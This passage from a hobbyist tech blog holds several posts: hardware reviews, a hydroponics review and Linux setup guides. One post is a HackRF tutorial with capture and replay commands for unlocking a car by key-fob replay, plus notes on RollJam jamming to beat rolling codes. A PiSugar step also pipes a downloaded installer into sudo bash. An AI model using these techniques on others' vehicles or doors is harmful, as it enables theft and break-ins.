reboot and then when the power is restored you reboot again! That is obviously a devastating and almost laughably pathetic limitation for a device that is supposed to act as a UPS and it was not long before a new board was designed and announced to address this. This is a deal breaker if you are actually wanting the UPS functionality to protect your data or running processes. If you are just trying to use it as a mobile battery to run your Pi for hours wherever you want (I’ll be honest, for me it’s 90% this) then it’s not as big of a deal but is still annoying when you plug it in to recharge and it still reboots on you despite no actual loss in power (just a switch in the circuitry so the battery begins to charge). The second limitation is that the PiSugar 1 has no way to interface with the Pi at all. That means you can’t get the battery level % through any applications or scripts because it doesn’t “talk” to the Pi. Sure it has the visual indicators, but what if you are using it remotely? This is also clearly not good and was also fixed in the PiSugar 2 which not only provides a way to interact with the control board through scripts to do things like safely shut down when the battery is low but even includes a fancy built in web interface! So why on earth would anyone ever want a PiSugar1? There’s only one reason. To get the ultra-thin 900mAh battery you must get the PiSugar 1 as it was never made with the PiSugar 2 board. The 900mAh is getting difficult to find so make absolutely sure to triple check all listings if you absolutely have to have that particular one. Here’s a side by side: PiSugar2* 1200mAh vs PiSugar1 900mAh I’ll try my best to link to 900mAh versions but the listings are often combined or “dual listings” between 900mAh/1200mAh so actually quadruple check as the links change constantly when different sellers list stock of each available. There is also a 1200 mAh PiSugar 1 but nobody should ever buy it (it’s not cheaper either) because there’s already a 1200mAh PiSugar 2 that doesn’t have any of the problems I just mentioned. The PiSugar 2 1200 mAh is my recommendation for the Pi Zero W/WH unless you absolutely need to have the thinner battery to fit in the space you want or you just have to have the thin one and don’t care about the above limitations! Installation / Usage (Raspberry Pi 3B/3B+/4B) There’s only one size of PiSugar that fits the larger Raspberry Pis and that is the PiSugar 2 Pro with a whopping 5000mAh battery! That is more capacity than most cell phone batteries contain with the Samsung Galaxy S20 having a 4000 mAh capacity battery in comparison. Installation is pretty much as easy as with the Pi Zero model. Screw the four screws and attach the PiSugar board to your device and connect the power to the PiSugar control board’s USB port. Here’s what it looks like: PiSugar 2 Pro* – Mounted on Pi 4 PiSugar2 Pro* (Underside) – Mounted on Pi 4 PiSugar2 Configuration To install the PiSugar2 power management scripts/dependencies: curl http://cdn.pisugar.com/release/Pisugar-power-manager.sh | sudo bash The script will ask you to select which model of PiSugar2 you have and then finish. After that you can start accessing the PiSugar2’s web interface. It will tell you the address at the end of the script like this: Clean up Now navigate to http://192.168.0.3:8421 on your browser to see PiSugar power management If you have any question,please feel free to contact us. The PiSugar Team https://www.pisugar.com Next we need to enable I2C so that we can communicate with the PiSugar2 board. Type/paste: sudo raspi-config Navigate to the ‘Interfacing Options’ -> ‘I2C’ -> ‘Yes’ and then exit raspi-config. The nice thing about this web interface is you can access it from any device on your network. You don’t have to only access it from the Pi! Conclusion The PiSugar is more than just a UPS backup. It can be used to make the Pi more akin to a cellular phone where you can take it anywhere and have hours of stable power. I could see combining this with a solar setup and so many other uses where power might be available sometimes but not all of the time. It’s also great for critical systems where you may be writing critical data and can’t afford to risk a power loss interrupting that. One word of caution: most of the negative reviews I see for the PiSugar devices are that the battery didn’t last as long as they thought it would. It depends on what the device is doing, whether you’ve overclocked etc. but don’t expect much more to 2.5-4 hours even highly tuned just to keep expectations in line. If you’re expecting 6+ hours that is very unlikely without taking extreme measures but it’s still an incredibly useful device and can be easily supplemented with an additional larger power brick plugged into the charge port or even potentially a solar kit. The best part of this type of a setup is that it gives you the freedom to not worry about power fluctuations or taking the Pi somewhere that power isn’t easily accessible. That is it’s true value! I would consider it an essential for every Pi owner because it really expands where and how you can use the device. It unlocks a whole new class of project possibilities and many of the most exciting projects require some sort of mobile power and this is a great way to get going with projects like that! #### URUQ 12 Pod Hydroponics Review: Can a Cheap Amazon Hydroponics System Actually Grow Real Food? URUQ 12 Pod Hydroponics Kit Review I’m extremely excited to finally share what I’ve been up to with hydroponics. I wanted to wait until I actually had real growth and harvests before writing anything because there’s no shortage of “day 1” hydroponics videos and reviews online. So I decided to do something simple. I bought the absolute cheapest hydroponics kit I could find on Amazon and tried to grow real food in my basement. The results have honestly been way more successful than I expected. These URUQ systems were all under $50 and I now have multiple units running continuously producing tomatoes, strawberries, and onions indoors year-round. This review is specifically about the URUQ 12 pod hydroponics system, although I also own the 8 pod version and there are some very important differences between the two. Table of Contents Toggle What Did I Grow in the URUQ Hydroponics System?Is the URUQ 12 Pod Better Than the 8 Pod Version?How Good Is the URUQ Grow Light?Is the URUQ Hydroponics Pump Loud?What Nutrients Come With the URUQ System?What Mistakes Should Beginners Avoid With Hydroponics?Should You Use Every Pod Slot?Do You Need the Included Light Blocking Stickers?Should Unused Hydroponic Holes Be Covered?Which Plants Grew Best in the URUQ System?Do You Really Need pH and EC Meters for Hydroponics?What Is the Best Water for Hydroponics?Can Tap Water Cause Nutrient Lockout?Is Growing Food Indoors Actually Worth It?Would I Recommend the URUQ 12 Pod Hydroponics System?FAQIs the URUQ 12 pod hydroponics system good for beginners?What can you grow in the URUQ hydroponics system?How often do you change the water in the URUQ hydroponics system?Does the URUQ hydroponics system need pH testing?Is the URUQ 12 pod better than the 8 pod version? What Did I Grow in the URUQ Hydroponics System? For this review I grew: Survival Seeds – Tiny Tim Tomato* Bulborium – Alpine Strawberries* Survival Seeds – Tokyo Long White Bunching Onion* All three produced successful harvests so I’m comfortable sharing my long-term thoughts on the system now. The seeds I used were from the popular SURVIVAL Garden Seeds lineup on Amazon. My goal with hydroponics was pretty straightforward. I wanted fresh food growing continuously in my basement that we could actually eat regularly. Instead of starting with easy herbs or lettuce, I jumped straight into tomatoes, strawberries, and onions. Probably not the easiest beginner crops. But surprisingly, all three worked on the first attempt. Is the URUQ 12 Pod Better Than the 8 Pod Version? URUQ 12 Pod Hydroponics Unit (Amazon)* Yes. Absolutely. I own both versions and there’s one major catch with the cheaper 8 pod unit. The URUQ 12 pod hydroponics system comes with a detachable LCD controller that lets you schedule exactly when the lights turn on and off. The 8 pod version cannot do this. Instead, the 8 pod model simply runs on a fixed 16 hours on / 8 hours off cycle that starts the moment you plug it in. That sounds minor until you actually use it. If you wanted the lights to come on at 5 AM with the 8 pod version you would literally need to unplug and replug the system at 5 AM to reset the cycle. The 12 pod unit lets you schedule everything directly from the controller. I strongly recommend the 12 pod version for this reason alone. Oddly enough, the 12 pod version is often cheaper anyway depending on Amazon coupons and sales. The water reservoir is another huge difference: 12 pod unit: 6.5L reservoir 8 pod unit: 3L reservoir If you’re growing larger plants like tomatoes, strawberries, or peppers, the extra water capacity matters a lot. Smaller reservoirs dry out surprisingly quickly once plants mature. The 3L tank on the 8 pod unit leaves very little room for forgetting to refill the water. If those caveats don’t bother you here is the 8 pod unit as well: URUQ 8 Pod Hydroponics Unit (Amazon)* How Good Is the URUQ Grow Light? Honestly, much better than I expected for the price. The grow light adjusts up to 21 inches high which was tall enough for my Tiny Tim tomatoes to mostly avoid smashing into the lights at full maturity. In my pictures the lights are not even fully extended. That’s important because a lot of cheap hydroponics systems have very limited vertical space and become unusable once plants start getting serious growth. I also discovered something else while experimenting. Supplemental light helps a lot. One of my tomato units sits beside a window and you can literally see a second canopy of growth developing toward the natural light source. The supplemental light canopy near the window The yield is noticeably better. Do you see all the yellow flowers in the bottom right? Those will be additional tomatoes and you can see a giant cluster of tomatoes in the middle that would not exist without the supplemental light. I took this shot in the evening so you can see that the light from the URUQ isn’t even hitting the back canopy. The back canopy is purely solar powered from the window. The Alpine strawberries especially benefited from extra lighting. One of my strawberry units away from the window became much leggier compared to the unit near natural light: URUQ – Leggy Strawberries that needed supplemental window light See how this one is not doing nearly as well as the other one? It still looks a little sickly but it is recovering and has produced a few strawberries. The one that has been by the window the whole time though has produced like 40+ strawberries already. If you’re trying to grow ambitious crops in a small hydroponics system, don’t be afraid to give them additional light. Is the URUQ Hydroponics Pump Loud? No. It’s extremely quiet. The pump is rated at under 20dB and I believe it. I currently have three units sitting right beside each other and the overall noise level is still very low. The pump cycles: 30 minutes on 30 minutes off Even in a basement living area the noise has never bothered me. What Nutrients Come With the URUQ System? URUQ A and B Plant Foods (5ml per 1L of water) The unit includes hydroponic nutrients in standard “A” and “B” bottles along with dry refill packs. If you’re new to hydroponics, the nutrients are separated for a reason. When concentrated hydroponic nutrients are mixed together directly, solids begin precipitating out of solution. Once that happens, those nutrients become unavailable to the plants. After dilution in water they are safe to combine. My process is simple: Fill a 2L pitcher roughly 25% with water Add nutrient A Fill to around 50% Add nutrient B Fill the rest with water The sink pressure mixes everything well enough. The recommended dosage is: 5mL of nutrient A per liter 5mL of nutrient B per liter What Mistakes Should Beginners Avoid With Hydroponics? I made plenty. Here are the biggest ones. Should You Use Every Pod Slot? No. Definitely not. I made this mistake immediately: Tiny Tim in Every URUQ Slot (Bad Idea!) If you fully populate every pod, the roots become incredibly tangled and the plants compete aggressively for light and nutrients. I ended up buying additional units just to split plants apart: Two URUQs become four due to overplanting Did I mention I made the exact same mistake with the Alpine Strawberries? I did. Those are on the right and multiplied into two units as well. Even then they were still overcrowded. I ended up transplanting several more from each unit into my outdoor garden. Leaving empty pod spaces actually produces healthier plants and better yields. Do You Need the Included Light Blocking Stickers? URUQ without stickers (wrong, will grow algae) Yes. Use them. The grow sponges are basically perfect algae-growing material if exposed to light. Until the plants mature, light will hit the sponge directly and nasty green or brown algae starts forming quickly. The included stickers solve this by blocking most of the light while leaving a small opening for the seedling. They work very well. Should Unused Hydroponic Holes Be Covered? Absolutely. If light reaches the water tank through unused pod holes, algae will eventually grow inside the reservoir. You do not want this. The units include a few hole covers and I eventually bought extra ones online for all my unused slots*. It makes maintenance dramatically easier. Which Plants Grew Best in the URUQ System? The Tiny Tim tomatoes were by far the easiest. They tolerated pH swings well, handled varying EC levels without complaint, and consumed enough water that nutrient concentration stayed relatively stable. Mine drink roughly 1 liter of water per day. The Alpine strawberries were more demanding. Their EC levels climbed much faster which meant I needed full water changes more frequently. If you neglect water maintenance with strawberries, you will eventually run into nutrient imbalance problems. The Tokyo White bunching onions have been extremely easy so far and use very little water: White URUQ Unit with Tokyo Long White Bunching Onions They’re also one of the most rewarding crops because they’re essentially “cut and come again.” We simply trim the green shoots and they continue regrowing. Do You Really Need pH and EC Meters for Hydroponics? Yes. Even for beginners. I strongly recommend getting both. At some point during your grow, your plants are probably going to start looking unhealthy for one reason or another. Without pH and EC tools you’re mostly guessing. I use a VIVOSUN pH and EC combo meter* and it works great with one minor issue: the URUQ holes are narrow enough that the tank needs to be pretty full to comfortably take readings: VIVOSUN – EC Reading (very high, water change needed) One important thing I learned: If you refill the reservoir before testing, let the water sit for at least 30 to 60 minutes before taking readings. Freshly added water will not be fully mixed and your measurements can be inaccurate. If you don’t have these meters and your plants aren’t doing well then a water change is probably in order. Without the meters though you won’t be sure what the pH is of the water you are adding in. Using distilled water is the safest in this case as the pH will be okay for hydroponics from distilled water from the store. What Is the Best Water for Hydroponics? This is probably the single biggest factor in successful hydroponics. Distilled water is considered ideal. I do not use distilled water. Realistically, with multiple systems running I would need an absurd amount every week. Instead I use tap water, but this comes with caveats. You absolutely need to understand your water quality. Tap water pH of a whopping 8.74 before treatment with pH Down My tap water has a pH ranging from 8 to 8.75 which is very alkaline for hydroponics. For reference the generally recommended range is usually 5.5 – 6.5 pH for hydroponics. Because of this, I add some of VIVISUN’s pH down* (just a little bit, no more than a couple mL) to every single pitcher of water before adding it to the system. I also add a small amount of hydrogen peroxide: A few mL of 3% Or about 1mL of 12% hydrogen peroxide per 2L pitcher This helps suppress algae and root rot without harming the plants at low concentrations. Can Tap Water Cause Nutrient Lockout? Definitely. I experienced nutrient lockout multiple times before I understood what was happening. Some of the harvests shown here probably would have matured nearly a month earlier if my pH had stayed under control consistently. Once I started adjusting every refill with pH down, the growth improved dramatically. VIVOSUN – pH Up and pH Down Adjusters* Softened water can also cause issues because dissolved salts build up in the system over time. If your water quality is poor, reverse osmosis water is probably the better long-term solution. I haven’t added an RO system yet, but I likely will eventually because I’m currently using a lot of additives just to compensate for my local water. The cleaner your source water is, the easier hydroponics becomes. Is Growing Food Indoors Actually Worth It? For me, yes. Completely. We’ve already made: Alpine Strawberries Home Made Jam This is strawberry jam from the Alpine strawberries. My wife’s breadmaker* had a setting to make jam and we tried it to great success! We are collecting the Tiny Tim to make into a home made pizza sauce: Tiny Tim Tomatos Small Harvest We’ve also been using the fresh onions for cooking for weeks now. The Alpine strawberries especially surprised me. If you’ve never tried Alpine strawberries before, they’re incredibly aromatic compared to normal strawberries. They don’t ship well commercially which is why most people never encounter them: Alpine Strawberries Small Harvest Fresh off the plant they smell almost unreal. The onions were another surprise. They’re much stronger and more flavorful than store-bought green onions. Would I Recommend the URUQ 12 Pod Hydroponics System? URUQ Table Setup By Window Yes. Especially for the price. This is one of the cheapest hydroponics systems I could find online and it has massively exceeded my expectations. Are there limitations? Of course. You still need to learn basic hydroponic maintenance, monitor water quality, and avoid overcrowding the plants. But the actual hardware itself has been reliable, quiet, easy to maintain, and surprisingly capable. The biggest recommendation I can make is simple: Buy the 12 pod version* instead of the 8 pod version*. The programmable lighting schedule and larger reservoir are absolutely worth it. I also have several larger hydroponics systems running now that I’ll be reviewing later where we grow lettuce, salad greens, and more. I’m definitely still learning as I go and I’m not pretending to be an expert. I’m mostly sharing what has worked for me so far, including the mistakes. If you’ve done your own hydroponic grows or have any tips, let me know in the comments. FAQ Is the URUQ 12 pod hydroponics system good for beginners?Yes. It’s one of the easiest and cheapest ways to get started with hydroponics indoors. The system is simple to assemble and maintain while still being capable of growing real food like tomatoes and strawberries.What can you grow in the URUQ hydroponics system?You can grow herbs, lettuce, tomatoes, strawberries, peppers, onions, and other compact crops. I successfully grew Tiny Tim tomatoes, Alpine strawberries, and Tokyo White bunching onions.How often do you change the water in the URUQ hydroponics system?Ideally every couple of weeks. Fast-feeding plants like strawberries may require more frequent water changes because EC and salt buildup can happen quickly.Does the URUQ hydroponics system need pH testing?I strongly recommend it. While the system can work without testing initially, pH problems and nutrient lockout become much harder to diagnose without a pH and EC meter.Is the URUQ 12 pod better than the 8 pod version?Yes. The 12 pod version includes programmable lighting controls and a much larger 6.5L reservoir. The 8 pod version lacks customizable scheduling and has a much smaller water tank. #### Use HackRF SDR to Lock / Unlock Car I’ve previously covered getting your HackRF set up in Linux and getting the firmware updated. In that guide we installed the very easy to use CubicSDR application and were able to easily tune to various audio signals. Today we’re going to do something more interactive and actually use the transmitter. We’re going to unlock and lock my vehicle using the HackRF! Let’s get started. Table of Contents Toggle Hardware UsedLocating FCC IDMonitoring FrequencyHackRF Simple Replay AttackRollJam & Manually Bypassing Rolling CodesConclusionOther Resources Hardware Used HackRF One Software Defined Radio (SDR)* RaTLSnake M6 v3 – 3 Antenna Bundle* Locating FCC ID The first place to start is by actually looking at your keychain/FOB. This will have a FCC ID that will give us all the information we need to capture and replay the lock/unlock codes. Here is what mine looks like for the 2006 Chrysler 300C we previously connected to in my ODBII wireless car diagnostic tool article: FCCID – Chrysler 300C key fob It’s very hard to read in the picture. If your key is very worn like mine the trick is to rotate it in the light. You will be able to read it when the light hits the etched text even when it’s worn like this. On mine the FCC ID was: KOBDT04A We can then take that ID and put it at the end of the fccid.io URL like this: https://fccid.io/KOBDT04A This will take you to a list that can help you find the frequency information we are looking for. Mine looked like this: fccid.io – Chrysler 300C I selected the page for my key and it took me to a product site that had the information I was looking for. This will vary by product sites (try several if you’re having a hard time finding it). Here’s an example: Chrysler 300C Frequency The frequency I’m looking for with this device is 315 MHz. Monitoring Frequency Now that we’ve located the frequency we need to be looking for we can begin using the HackRF to find the lock / unlock codes for the vehicle. I will use CubicSDR to monitor and intercept these transmissions from my key. I have covered in a previous guide how to set up the HackRF and get CubicSDR so follow that first if you need to and you will have this application. I tuned CubicSDR to 315,000,000 or 315 MHz. It was completely silent like this: CubicSDR – Before Intercept (Quiet) Notice there’s really nothing to see here. Watch what happens though when I start pressing “Lock” or “Unlock”: CubicSDR – Lock / Unlock Intercept It is interesting to listen to the signal as well. This surprised me at first as I had my headphones on but you can actually hear this signal! Here is a YouTube video of the sound it makes: HackRF Simple Replay Attack The HackRF has a really neat way to do replay attacks using the built-in utilities we installed during my HackRF Getting Started Guide. We can use the hackrf_transfer tool for this purpose. Here is an example of how to perform a capture. You should put your frequency in the -f parameter (mine was 315 MHz which would be 315000000). Let’s save the file to the name “unlock”: sudo hackrf_transfer -s 2000000 -f 315000000 -r unlock The way you perform the capture is run this command and press the “Unlock” button. Now hit Ctrl+C to stop the capture in your command prompt window. This will leave you with a new file called “unlock”. This is our captured unlock command! Let’s test it now. Make sure your vehicle is locked first. The way to replay our captured file from earlier is like this: sudo hackrf_transfer -s 2000000 -f 315000000 -t unlock -a 1 -x 24 On my system it looked like this: $ sudo hackrf_transfer -s 2000000 -f 315000000 -t unlock -a 1 -x 24 call hackrf_set_sample_rate(2000000 Hz/2.000 MHz) call hackrf_set_hw_sync_mode(0) call hackrf_set_freq(315000000 Hz/315.000 MHz) call hackrf_set_amp_enable(1) Stop with Ctrl-C 3.9 MiB / 1.000 sec = 3.9 MiB/second, amplitude -inf dBfs 3.9 MiB / 1.000 sec = 3.9 MiB/second, amplitude -inf dBfs 3.9 MiB / 1.000 sec = 3.9 MiB/second, amplitude -inf dBfs 3.4 MiB / 1.000 sec = 3.4 MiB/second, amplitude -inf dBfs Exiting... hackrf_is_streaming() result: streaming terminated (-1004) Total time: 4.00037 s hackrf_stop_tx() done hackrf_close() done hackrf_exit() done fclose() done exit With any luck your car will immediately unlock (if the HackRF is close enough). I originally performed this replay from my desktop but it wasn’t close enough. I ended up using a laptop and then I was able to unlock it without trouble. Now you can capture the other commands and simply change the -r parameter from “unlock” to “lock” as an example. You could also capture the panic button, opening the trunk and any other available actions. You’d end up with a bunch of files and you would replay that file based on which action you want to perform. Many newer cars have much more complicated entry systems that use “rolling codes”. It’s honestly similar to something like a two-factor authentication (2FA) code where you can’t use the same code every time. There are often programs (or techniques/tricks) out there to help you defeat these. For example recently all of Honda’s rolling keyless entry codes were defeated on vehicles of model year 2012 and newer. Just keep in mind that if you have a newer vehicle especially it is almost certain to use modern “rolling codes” which makes the attacks more complicated (but not impossible). We’ll cover this more in the next section. RollJam & Manually Bypassing Rolling Codes There are also devices you can build specifically meant to defeat rolling codes in modern vehicles. I wanted to mention the RollJam for sure. This is a device that contains two radios. One of them intercepts the code from the key fob essentially letting you “store” the code for later. Each time you press the button you end up getting a new “code” that you can use to execute commands on the vehicle normally (once per code). This works because the codes on many of the vehicles never expire. If you are more interested specifically in unlocking modern vehicles rather than replay attacks the RollJam is definitely one of the techniques you are going to want to investigate. It isn’t a specific device but it’s rather a technique of using two separate radios and is usually built yourself (similar to a Pwnagotchi). These are often made up of inexpensive devices like a Teensy. I would like to build one of these eventually here (or the modern evolution of it) and will definitely cover that when I do. There is a lot of great work done on this specific problem. If you want a deep dive on bypassing rolling code systems there is an article (along with GitHub scripts and code) by a person identified as 0x5c4r3 here that I found excellent. They say they wrote it specifically because all of the blog posts were really outdated and for really old cars (sorry I didn’t help much with that using my ancient vehicle nor do I have a newer one). That is the article you are looking for if you feel the same way / are trying to defeat these. Conclusion This shows how easy it is to use the HackRF to essentially intercept a signal and save a copy of it. You can then replay that signal on the HackRF to execute replay attacks. It’s simple to capture things and repeat them. More advanced attacks are also available to circumvent replay protection and the HackRF is also widely acknowledged as one of the best software defined radios to perform those attacks with as well. If your vehicle is too difficult to attack with a replay attack you should look around for other targets around the house. Older garage door opener systems are another system that is common to try a replay attack with using the HackRF. Any system that transmits signals as commands is a potential candidate. You may also investigate using a second radio for jamming and capture codes from your actual key fob to store for replay attacks (see RollJam and bypassing rolling codes section). The jamming radio keeps those codes from reaching the vehicle so they are never invalidated and you can use them for your own commands in the future (one time for every code you store). Systems that rely on these types of signals are everywhere. Many of them have been there for decades and are seldom noticed or thought of at all (until they break). Think about what is in your home that uses RF or any type of wireless signal. Does it have a remote control? That could be an interesting system to inspect with the HackRF and try simple replay attacks and see what you can do. The older the systems are the easier it will be as a rule of thumb (although it’s surprising how many brand new devices still have no protection against replay attacks). The process for a replay attack is exactly the same on any of these devices. Capture the signal and then replay it with the HackRF. It doesn’t take very long to try it on any given system either. The garage door opening system is on my to-do list (and a few other wireless/RF systems around the house) and I’ll definitely write about it on the blog if they yield any interesting results. My garage door system is only a couple of years old so it will be interesting to see what kind of replay protection it has on it. This is a very simple but very powerful method that works well with things that have simple commands like “Open”, “Close” or “Lock”. It was also interesting to actually hear the signal over my headphones! Other Resources I cannot recommend 0x5c4r3’s article enough if you are trying to find information about rolling codes on newer vehicles/devices For the best upgrade you can do with your HackRF see my Upgrading HackRF One to PortaPack H2 guide! My original HackRF Software Defined Radio Guide for Linux will give you all the utilities I used in this article to perform the replay attack Speaking of interfacing with your vehicle also see my Read and Reset Car Codes – Wireless ODBII Diagnostic Tool guide The Pwnagotchi tool is an interesting tool made with a Raspberry Pi Zero that automatically grabs handshakes from WiFi networks (and can even crack them) #### Using Cheap 2.5″ SSDs with PS4/Xbox to Improve Performance Last-Gen Console SSD Upgrade using StarTech When my wife and I were trying to play Cyberpunk 2077 on our last-gen console it was extremely painful and not just because of the bugs. It was painful because every time I died it would take 2-3 minutes to reload the game. Eventually I decided to grab one of my spare SSDs and use a USB to 2.5″ SATA adapter and hook it up to our last generation consoles and try installing all of the Cyberpunk files to the SSD. It made a gigantic difference getting my load times down to something closer to 20-30 seconds (much better than 3 minutes). This is also an incredibly cheap thing to do. Even if you buy a new SSD and a 2.5″ SATA adapter you will spend under $30 or so if you get a minimal capacity SSD. If you already have an older spare SSD even better. Today I’ll cover how to set this up. Let’s get started! Table of Contents Toggle Hardware UsedFormatting the DriveUsing the DriveConclusion Hardware Used StarTech 2.5″ SATA Adapter The StarTech USB 3.1 to 2.5″ SATA adapter is one I have recommended for many years for use with all kinds of devices including the Raspberry Pi. It’s widely compatible and works with gaming consoles as well. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use and one of the cheapest for many years. It’s reliable, widely available around the world, has low power requirements and performs very well. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Formatting the Drive The drive should generally be formatted as ex-FAT (extended FAT). Often you can format the drive with the console itself. If it is having trouble reading it simply plug it into a PC and format the drive as ex-FAT. If you are on Windows you can usually just right click on the drive in Windows Explorer and choose “Format”. Using the Drive The key part to making use of the SSD takes place when you install the games to the console. Both the PS4 and Xbox have options when you go to install the game to choose where to install it to. If you’ve formatted and connected your SSD you will see this as an option. Simply install all of the game’s files to the SSD so they are accessed from there instead of the much slower internal storage. The PS4 has a “Move to External Storage” option that lets you move already installed games onto the SSD when you press the “Options” button and this is a great way to move something you’ve already started over to the device. The Xbox similarly has a way to move items to external storage: Press your controller’s Xbox button. Open the “System Guide” and select “System” Navigate to the “Settings” menu and select the “Storage” button Under the “Manage Storage” box, highlight your internal drive and select “Transfer” Check each game you want to transfer over or “Select All” for a full migration Click “Copy” or “Move Selected” Confirm the external hard drive you want to transfer to Conclusion This was super worth it. It reduced my game load times dramatically on last-gen consoles by something like 70%. It’s probably the biggest upgrade within your control you can give yourself on the last gen consoles. If you already have an older SSD around it’s even cheaper to get a USB to 2.5″ SATA adapter and you won’t need anything else! Playing Cyberpunk 2077 was still a pretty bad experience compared to the next-gen update which was much better but while I was still trying to play it on last gen this upgrade saved my sanity and reduced my frustration enough that I got much further than I would have otherwise. This should work on any game but will make the most difference on games that rely a lot on the files cached in storage. This is most games though frankly making this worthwhile to do on any game you want to get much faster loading times from! #### Using Corsair Mice / Keyboards on Linux without iCUE Using Corsair Mice / Keyboards in Linux without iCUE – ckb-next When I replaced my old keyboard I decided to get a keyboard with Cherry MX Quiet switches as I love mechanical keyboards but wanted to cut down on the noise. It’s still fairly loud but it’s definitely much quieter than my non-quiet models I’ve used before. I had used Corsair keyboards before in the past on Windows but not since I had switched my main desktop to Linux. Unfortunately when I connected the keyboard the RGB was stuck on a solid red with no way to change it. Fortunately there is an amazing replacement in Linux called ckb-next that is available in most major Linux distribution’s repositories. In this guide we’ll cover how to get the utility and what it can do. Let’s begin! Table of Contents Toggle Hardware UsedGetting ckb-nextAvailable OptionsLightingBindingPerformanceDeviceSettingsUpdate – Fixing Missing Service ckb-next-daemonConclusion Hardware Used Corsair Strafe RGB MK-2 The Corsair Strafe RGB MK.2 Mechanical Gaming Keyboard has USB Passthrough and quiet Cherry MX Red switches Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.sg* Getting ckb-next The name of the utility on most Linux distributions will be ckb-next. For example I’m using PopOS and ckb-next shows up right in the software center like this: Pop Shop (Software Center) – ckb-next You may also do a: sudo apt search ckb-next If you cannot find a package for the utility the home page for the utility is located here on GitHub. Available Options Lighting The lighting options are the screenshot shown at the top of the article. It updates live as the colors are changing on the keyboard and lets you control the effects like you would expect to be able to do in iCUE. Binding Here you can set the key bindings / actions similar to iCUE: ckb-next Options – Binding It’s excellent that this feature is in the software. You can change all of your key bindings here. There are many different options available. Look at the row of tabs. You can also bind to mouse actions, animations, special, macros and more. Performance Here are the performance options: ckb-next Options – Performance These are mostly related to lighting. Device You can do firmware updates in the device tab! This is actually available on Linux. You can alternatively set the poll rate and language: ckb-next Options – Device You may also switch the layout to different languages here, view your serial number and change the polling rate. This is also a place you can check for firmware updates manually. The very bottom button that on mine says “Up to date” will allow you to check for and apply updates. Settings The settings tab contains settings mostly related to ckb-next itself: ckb-next – Settings Of note here we can set it to check for firmware updates automatically. I also have my lights on my keyboard set to turn off after 5m which is very nice. It cuts down on light pollution in the room when the computer is not being used. Update – Fixing Missing Service ckb-next-daemon On Ubuntu 25.10 in Wayland when I ran ckb-next it told me the daemon was not enabled and how to enable it. The only problem? The daemon service did not exist at all either. To fix this let’s create the service ourself with: sudo nano /etc/systemd/system/ckb-next-daemon.service And for the content add: [Unit] Description=ckb-next-daemon After=multi-user.target [Service] Type=simple ExecStart=/usr/bin/ckb-next-daemon Restart=on-failure [Install] WantedBy=multi-user.target After pasting in the above type: sudo systemctl daemon-reload sudo systemctl enable --now ckb-next-daemon After this the ckb-next application should start working properly! Conclusion The ckb-next utility is a must-have for anyone who owns a Corsair keyboard/mouse and wants to use Linux. The moment you install the utility your lighting (and other controls) will begin working normally again on your keyboard/mouse essentially. The utility lets you update your mouse / keyboard firmware as well. That’s a surprising feature that works well and even detected my new keyboard was already up to date. I definitely recommend it for anyone using Linux! #### Using E-Key M.2 WiFi Adapters with Orange Pi 5 Orange Pi 5 E-Key to M-Key WiFi Adapter Guide Orange Pi has not released the WiFi module for the Orange Pi 5 yet which has left some people in a difficult position. While working on this problem I discovered an adapter that claimed to be able to let me use normal E-keyed WiFi adapters (commonly found in laptops and tablets) with the Orange Pi 5 using an adapter. I received and tested the adapter and I am pleased to report it works perfectly! There are some caveats though such as you need a driver for your WiFi card within your OS (and often firmware as well). In this guide I’ll show you how to get this working with the Orange Pi 5 using Linux. Let’s get started! Table of Contents Toggle Hardware UsedCustom WiFi Module (Added 1/15/2023)Problem OverviewInstalling linux-firmwareTested WiFi AdaptersBest Adapter OptionsDiagnosing WiFi AdapterAlternative USB OptionConclusionOther Resources Hardware Used Sintech M.2 E-Key to M.2 M-Key Adapter Card Convert a M.2 Key-E or Key A+E module (such as WiFi, Bluetooth, or Dual Band Wireless Module, etc.) to be used with M Key M.2 Socket. Supports Bluetooth and Dual Band Wireless Modules. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Orange Pi Wireless Mouse The Orange Pi official mouse uses 2.4GHz wireless to give you a wireless mouse experience with the Orange Pi Links: Amazon.com*, AliExpress* Orange Pi Portable Monitor The Orange Pi monitor is meant to be a portable monitor you can take anywhere. It has a resolution of 1080P and features a hinge in the back that folds out to support the monitor. Links: Amazon.com*, AliExpress* Custom WiFi Module (Added 1/15/2023) Orange Pi 5 Custom WiFi Module The Orange Pi 5 official wireless module is designed to fit into a M-keyed M.2 slot (the only one the Orange Pi 5 has). This WiFi adapter will work with both Linux and Android. Links: Amazon.com* Problem Overview The Orange Pi 5 only has a single M.2 slot and is it M-keyed. This is meant for storage devices typically. Because of this Orange Pi is releasing a “custom PCB” wireless adapter for the Orange Pi 5 to allow you to choose between using the M.2 slot for storage or WiFi. Normal WiFi adapters will not fit into the Orange Pi 5’s M.2 slot basically without using an adapter. It looks like this: Orange Pi 5 with E-key to M-key adapter installed Installing linux-firmware When I first got the adapter I noticed that I could see all of the adapters but it was failing to load the firmware. That is because the Orange Pi 5 does not come with the linux-firmware package installed. Install the package with: sudo apt install linux-firmware -y Tested WiFi Adapters After installing the linux-firmware package the following adapters worked for me: Intel 8260NGW* Intel 7260NGW* Before installing the Linux firmware package I would get errors in dmesg saying that the firmware was missing. After installing the linux-firmware package all of my Intel WiFi adapters became plug and play. Best Adapter Options Until I hear more from some of you in the comments that try this I highly recommend using Intel adapters for this. They’re easy to find and almost every one I had in old laptops was an Intel adapter. There’s an awesome list of Linux supported adapters here from Intel. This list is specifically for the Linux iwlwifi driver and tells you which version of Linux support was added for the WiFi adapter. The kernel at time of writing was: orangepi@orangepi5:~$ uname -aLinux orangepi5 5.10.110-rockchip-rk3588 #1.0.6 SMP Fri Dec 16 